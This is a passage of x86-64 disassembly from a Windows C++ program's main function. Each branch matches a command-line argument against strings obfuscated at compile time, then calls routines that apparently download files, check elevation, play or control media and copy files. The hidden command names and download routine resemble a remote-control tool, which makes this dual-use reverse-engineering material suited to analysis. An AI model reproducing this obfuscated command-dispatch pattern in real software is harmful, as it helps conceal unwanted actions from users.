lea rax, [rbp + 0x3e9d]
mov rcx, rax
call method.main.lambda__171::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_9ull__7896239149668363639ull__char_.operator_char__
mov rdx, rax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
lea rax, [rbp + 0x3e9e]
mov rcx, rax
call method.main.lambda__172::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_9ull__7633906256263214073ull__char_.operator_char__
mov rdx, rax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rbx, rax
mov rax, qword [rbp + 0x4608]
mov rcx, rax
mov rax, qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
call rax
mov edx, eax
mov rcx, rbx
call method.std::ostream.operator___int_
mov rbx, rax
mov rax, qword [rbp + 0x4600]
mov rcx, rax
mov rax, qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
call rax
mov edx, eax
mov rcx, rbx
call method.std::ostream.operator___int_
mov rbx, rax
call sym.f_ele__
mov edx, eax
mov rcx, rbx
call method.std::ostream.operator___int_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov ebx, 0
lea rax, [rbp + 0x610]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x23195aa74
cmp dword [rbp + 0x46f0], 2
jle 0x2319589c3
lea rax, [rbp + 0x3e9f]
mov rcx, rax
call method.main.lambda__173::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_8ull__8772892457014477219ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x46f8]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x2319589c3
mov eax, 1
jmp 0x2319589c8
mov eax, 0
test al, al
je 0x231958ab3
mov rax, qword [rbp + 0x46f8]
add rax, 0x10
mov rax, qword [rax]
mov rdx, rax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
lea rax, [rbp + 0x3eee]
mov rcx, rax
call fcn.2319dc540
mov rax, qword [rbp + 0x46f8]
add rax, 0x10
mov rdx, qword [rax]
lea rcx, [rbp + 0x3eee]
lea rax, [rbp + 0x3ec0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x3ec0]
mov r8d, 0xa
mov edx, 0
mov rcx, rax
call method.std::__cxx11.stoul_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__unsigned_long_long__int_
mov edx, eax
lea rax, [rbp + 0x3ea0]
mov rcx, rax
call sym.f_errstr_abi:cxx11__unsigned_long_
lea rax, [rbp + 0x3ea0]
mov rdx, rax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
lea rax, [rbp + 0x3ea0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x3ec0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x3eee]
mov rcx, rax
call sym.std::allocator_char_::allocator__
mov ebx, 0
jmp 0x23195aa74
cmp dword [rbp + 0x46f0], 2
jle 0x231958af7
lea rax, [rbp + 0x3eef]
mov rcx, rax
call method.main.lambda__174::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_16ull__14410858239533847465ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x46f8]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x231958af7
mov eax, 1
jmp 0x231958afc
mov eax, 0
test al, al
je 0x231958c0d
mov rax, qword [rbp + 0x46f8]
add rax, 0x10
mov rax, qword [rax]
mov rdx, rax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
lea rax, [rbp + 0x3f3e]
mov rcx, rax
call fcn.2319dc540
mov rax, qword [rbp + 0x46f8]
add rax, 0x10
mov rdx, qword [rax]
lea rcx, [rbp + 0x3f3e]
lea rax, [rbp + 0x3f10]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x3f10]
mov r8d, 0xa
mov edx, 0
mov rcx, rax
call method.std::__cxx11.stoul_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__unsigned_long_long__int_
mov edx, eax
lea rax, [rbp + 0x3ef0]
mov r9d, 0
mov r8d, 0
mov rcx, rax
call method._com_error._com_error_long__IErrorInfo__bool_
lea rax, [rbp + 0x3ef0]
mov rcx, rax
call method._com_error.ErrorMessage___const
mov rdx, rax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
lea rax, [rbp + 0x3ef0]
mov rcx, rax
call method._com_error._com_error__
lea rax, [rbp + 0x3f10]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x3f3e]
mov rcx, rax
call sym.std::allocator_char_::allocator__
mov ebx, 0
jmp 0x23195aa74
cmp dword [rbp + 0x46f0], 2
jle 0x231958c51
lea rax, [rbp + 0x3f3f]
mov rcx, rax
call method.main.lambda__175::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_12ull__15816511769268002103ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x46f8]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x231958c51
mov eax, 1
jmp 0x231958c56
mov eax, 0
test al, al
je 0x231958d4e
lea rax, [rbp + 0x3f6e]
mov rcx, rax
call fcn.2319dc540
mov rax, qword [rbp + 0x46f8]
add rax, 0x10
mov rdx, qword [rax]
lea rcx, [rbp + 0x3f6e]
lea rax, [rbp + 0x3f40]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x3f40]
mov r8d, 0xa
mov edx, 0
mov rcx, rax
call method.std::__cxx11.stoul_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__unsigned_long_long__int_
mov ecx, eax
lea rax, [rbp + 0x610]
mov r8d, 0x104
mov rdx, rax
mov rax, qword [sym.imp.WINMM.dll_mciGetErrorStringA]
call rax
lea rax, [rbp + 0x3f40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x3f6e]
mov rcx, rax
call sym.std::allocator_char_::allocator__
mov rax, qword [rbp + 0x46f8]
add rax, 0x10
mov rax, qword [rax]
mov rdx, rax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
lea rax, [rbp + 0x610]
mov rdx, rax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov ebx, 0
jmp 0x23195aa74
cmp dword [rbp + 0x46f0], 2
jle 0x231958d92
lea rax, [rbp + 0x3f6f]
mov rcx, rax
call method.main.lambda__176::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_3ull__7601411555235461961ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x46f8]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x231958d92
mov eax, 1
jmp 0x231958d97
mov eax, 0
test al, al
je 0x231958e90
lea rax, [rbp + 0x3f9f]
mov rcx, rax
call fcn.2319dc540
mov rax, qword [rbp + 0x46f8]
add rax, 0x10
mov rdx, qword [rax]
lea rcx, [rbp + 0x3f9f]
lea rax, [rbp + 0x3f70]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x3f70]
mov r8d, 0xa
mov edx, 0
mov rcx, rax
call method.std::__cxx11.stoul_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__unsigned_long_long__int_
mov edx, 0
mov ecx, eax
call sym.f_slpc_unsigned_long__int_
mov dword [rbp + 0x4618], eax
lea rax, [rbp + 0x3f70]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x3f9f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
mov eax, dword [rbp + 0x4618]
mov edx, eax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::ostream.operator___int_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov edx, dword [rbp + 0x4618]
lea rax, [rbp + 0x3fa0]
mov rcx, rax
call sym.f_errstr_abi:cxx11__unsigned_long_
lea rax, [rbp + 0x3fa0]
mov rdx, rax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
lea rax, [rbp + 0x3fa0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov ebx, dword [rbp + 0x4618]
jmp 0x23195aa74
cmp dword [rbp + 0x46f0], 3
jle 0x231958ed4
lea rax, [rbp + 0x3fcf]
mov rcx, rax
call method.main.lambda__177::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_3ull__5299478710591802211ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x46f8]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x231958ed4
mov eax, 1
jmp 0x231958ed9
mov eax, 0
test al, al
je 0x231958fa2
mov rax, qword [rbp + 0x46f8]
add rax, 0x18
mov rdx, qword [rax]
mov rax, qword [rbp + 0x46f8]
add rax, 0x10
mov rax, qword [rax]
mov rcx, rax
call sym.f_dwnlf_char_const__char_const_
mov dword [rbp + 0x461c], eax
mov eax, dword [rbp + 0x461c]
mov edx, eax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::ostream.operator___int_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov edx, dword [rbp + 0x461c]
lea rax, [rbp + 0x3fd0]
mov r9d, 0
mov r8d, 0
mov rcx, rax
call method._com_error._com_error_long__IErrorInfo__bool_
lea rax, [rbp + 0x3fd0]
mov rcx, rax
call method._com_error.ErrorMessage___const
mov rdx, rax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
lea rax, [rbp + 0x3fd0]
mov rcx, rax
call method._com_error._com_error__
mov ebx, dword [rbp + 0x461c]
jmp 0x23195aa74
cmp dword [rbp + 0x46f0], 2
jle 0x231958fe6
lea rax, [rbp + 0x3fff]
mov rcx, rax
call method.main.lambda__178::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_3ull__15994817372439304551ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x46f8]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x231958fe6
mov eax, 1
jmp 0x231958feb
mov eax, 0
test al, al
je 0x2319590da
lea rax, [rbp + 0x402e]
mov rcx, rax
call fcn.2319dc540
mov rax, qword [rbp + 0x46f8]
add rax, 0x10
mov rdx, qword [rax]
lea rcx, [rbp + 0x402e]
lea rax, [rbp + 0x4000]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x4000]
mov rcx, rax
call sym.f_mci_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
mov dword [rbp + 0x4620], eax
lea rax, [rbp + 0x4000]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x402e]
mov rcx, rax
call sym.std::allocator_char_::allocator__
mov ecx, dword [rbp + 0x4620]
lea rax, [rbp + 0x610]
mov r8d, 0x104
mov rdx, rax
mov rax, qword [sym.imp.WINMM.dll_mciGetErrorStringA]
call rax
mov eax, dword [rbp + 0x4620]
mov edx, eax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::ostream.operator___int_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
lea rax, [rbp + 0x610]
mov rdx, rax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov ebx, dword [rbp + 0x4620]
jmp 0x23195aa74
cmp dword [rbp + 0x46f0], 1
jle 0x23195911e
lea rax, [rbp + 0x402f]
mov rcx, rax
call method.main.lambda__179::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__13351461702057668561ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x46f8]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x23195911e
mov eax, 1
jmp 0x231959123
mov eax, 0
test al, al
je 0x2319591e0
call sym.f_pds__
mov dword [rbp + 0x4694], eax
cmp dword [rbp + 0x4694], 1
jne 0x231959149
mov dword [rbp + 0x4694], 0
mov eax, dword [rbp + 0x4694]
mov edx, eax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::ostream.operator___int_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov edx, dword [rbp + 0x4694]
lea rax, [rbp + 0x4030]
mov r9d, 0
mov r8d, 0
mov rcx, rax
call method._com_error._com_error_long__IErrorInfo__bool_
lea rax, [rbp + 0x4030]
mov rcx, rax
call method._com_error.ErrorMessage___const
mov rdx, rax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
lea rax, [rbp + 0x4030]
mov rcx, rax
call method._com_error._com_error__
mov ebx, dword [rbp + 0x4694]
jmp 0x23195aa74
cmp dword [rbp + 0x46f0], 3
jle 0x231959224
lea rax, [rbp + 0x405f]
mov rcx, rax
call method.main.lambda__180::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_4ull__8311365888747462987ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x46f8]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x231959224
mov eax, 1
jmp 0x231959229
mov eax, 0
test al, al
je 0x23195938f
lea rax, [rbp + 0x408f]
mov rcx, rax
call fcn.2319dc540
mov rax, qword [rbp + 0x46f8]
add rax, 0x18
mov rdx, qword [rax]
lea rcx, [rbp + 0x408f]
lea rax, [rbp + 0x4060]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x4060]
mov r8d, 0xa
mov edx, 0
mov rcx, rax
call method.std::__cxx11.stoul_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__unsigned_long_long__int_
mov ebx, eax
lea rax, [rbp + 0x40bf]
mov rcx, rax
call fcn.2319dc540
mov rax, qword [rbp + 0x46f8]
add rax, 0x10
mov rdx, qword [rax]
lea rcx, [rbp + 0x40bf]
lea rax, [rbp + 0x4090]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x4090]
mov r8d, 0xa
mov edx, 0
mov rcx, rax
call method.std::__cxx11.stoul_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__unsigned_long_long__int_
mov edx, ebx
mov ecx, eax
call sym.f_bp_unsigned_long__unsigned_long_
mov dword [rbp + 0x4624], eax
lea rax, [rbp + 0x4090]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x40bf]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x4060]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x408f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
mov eax, dword [rbp + 0x4624]
mov edx, eax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::ostream.operator___int_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov edx, dword [rbp + 0x4624]
lea rax, [rbp + 0x40c0]
mov rcx, rax
call sym.f_errstr_abi:cxx11__unsigned_long_
lea rax, [rbp + 0x40c0]
mov rdx, rax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
lea rax, [rbp + 0x40c0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov ebx, dword [rbp + 0x4624]
jmp 0x23195aa74
cmp dword [rbp + 0x46f0], 2
jle 0x2319593d3
lea rax, [rbp + 0x40ee]
mov rcx, rax
call method.main.lambda__181::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_4ull__5301200316760143671ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x46f8]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x2319593d3
mov eax, 1
jmp 0x2319593d8
mov eax, 0
test al, al
je 0x2319594d4
mov dword [rbp + 0x4690], 0
cmp dword [rbp + 0x46f0], 3
jle 0x23195942e
lea rax, [rbp + 0x40ef]
mov rcx, rax
call method.main.lambda__182::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_6ull__10191988562017637333ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x46f8]
add rax, 0x18
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x23195942e
mov eax, 1
jmp 0x231959433
mov eax, 0
test al, al
je 0x231959441
mov dword [rbp + 0x4690], 1
mov rax, qword [rbp + 0x46f8]
add rax, 0x10
mov rax, qword [rax]
mov edx, dword [rbp + 0x4690]
mov rcx, rax
call sym.f_dc_char_const__int_
mov dword [rbp + 0x4628], eax
mov eax, dword [rbp + 0x4628]
mov edx, eax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::ostream.operator___int_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov edx, dword [rbp + 0x4628]
lea rax, [rbp + 0x40f0]
mov rcx, rax
call sym.f_errstr_abi:cxx11__unsigned_long_
lea rax, [rbp + 0x40f0]
mov rdx, rax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
lea rax, [rbp + 0x40f0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov ebx, dword [rbp + 0x4628]
jmp 0x23195aa74
cmp dword [rbp + 0x46f0], 1
jle 0x231959518
lea rax, [rbp + 0x411f]
mov rcx, rax
call method.main.lambda__183::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_4ull__265544554981471715ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x46f8]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x231959518
mov eax, 1
jmp 0x23195951d
mov eax, 0
test al, al
je 0x23195959d
call sym.f_ec__
mov dword [rbp + 0x462c], eax
mov eax, dword [rbp + 0x462c]
mov edx, eax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::ostream.operator___int_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov edx, dword [rbp + 0x462c]
lea rax, [rbp + 0x4120]
mov rcx, rax
call sym.f_errstr_abi:cxx11__unsigned_long_
lea rax, [rbp + 0x4120]
mov rdx, rax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
lea rax, [rbp + 0x4120]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov ebx, dword [rbp + 0x462c]
jmp 0x23195aa74
cmp dword [rbp + 0x46f0], 1
jle 0x2319595e1
lea rax, [rbp + 0x414e]
mov rcx, rax
call method.main.lambda__184::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_3ull__4020541887773534059ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x46f8]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x2319595e1
mov eax, 1
jmp 0x2319595e6
mov eax, 0
test al, al
je 0x2319596ea
mov dword [rbp + 0x468c], 0
cmp dword [rbp + 0x46f0], 3
jle 0x23195963c
lea rax, [rbp + 0x414f]
mov rcx, rax
call method.main.lambda__185::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_3ull__2125698506199660319ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x46f8]
add rax, 0x18
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x23195963c
mov eax, 1
jmp 0x231959641
mov eax, 0
test al, al
je 0x23195964f
mov dword [rbp + 0x468c], 1
mov rax, qword [rbp + 0x46f8]
add rax, 0x10
mov rax, qword [rax]
mov edx, dword [rbp + 0x468c]
mov r8d, edx
mov edx, 0
mov rcx, rax
call sym.f_cp_char__unsigned_long__int_
mov dword [rbp + 0x4630], eax
mov eax, dword [rbp + 0x4630]
mov edx, eax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::ostream.operator___int_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov edx, dword [rbp + 0x4630]
lea rax, [rbp + 0x4150]
mov rcx, rax
call sym.f_errstr_abi:cxx11__unsigned_long_
lea rax, [rbp + 0x4150]
mov rdx, rax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
lea rax, [rbp + 0x4150]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov ebx, dword [rbp + 0x4630]
jmp 0x23195aa74
cmp dword [rbp + 0x46f0], 3
jle 0x23195972e
lea rax, [rbp + 0x417f]
mov rcx, rax
call method.main.lambda__186::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_4ull__12486007131221630257ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x46f8]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x23195972e
mov eax, 1
jmp 0x231959733
mov eax, 0
test al, al
je 0x231959888
lea rax, [rbp + 0x41af]
mov rcx, rax
call fcn.2319dc540
mov rax, qword [rbp + 0x46f8]
add rax, 0x18
mov rdx, qword [rax]
lea rcx, [rbp + 0x41af]
lea rax, [rbp + 0x4180]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x41df]
mov rcx, rax
call fcn.2319dc540
mov rax, qword [rbp + 0x46f8]
add rax, 0x10
mov rdx, qword [rax]
lea rcx, [rbp + 0x41df]
lea rax, [rbp + 0x41b0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rdx, [rbp + 0x4180]
lea rax, [rbp + 0x41b0]
mov r8d, 0
mov rcx, rax
call sym.f_cc_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____unsigned_long_
mov dword [rbp + 0x4634], eax
lea rax, [rbp + 0x41b0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x41df]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x4180]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x41af]
mov rcx, rax
call sym.std::allocator_char_::allocator__
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov rcx, rax
mov eax, dword [rbp + 0x4634]
mov edx, eax
call method.std::ostream.operator___int_
mov rcx, rax
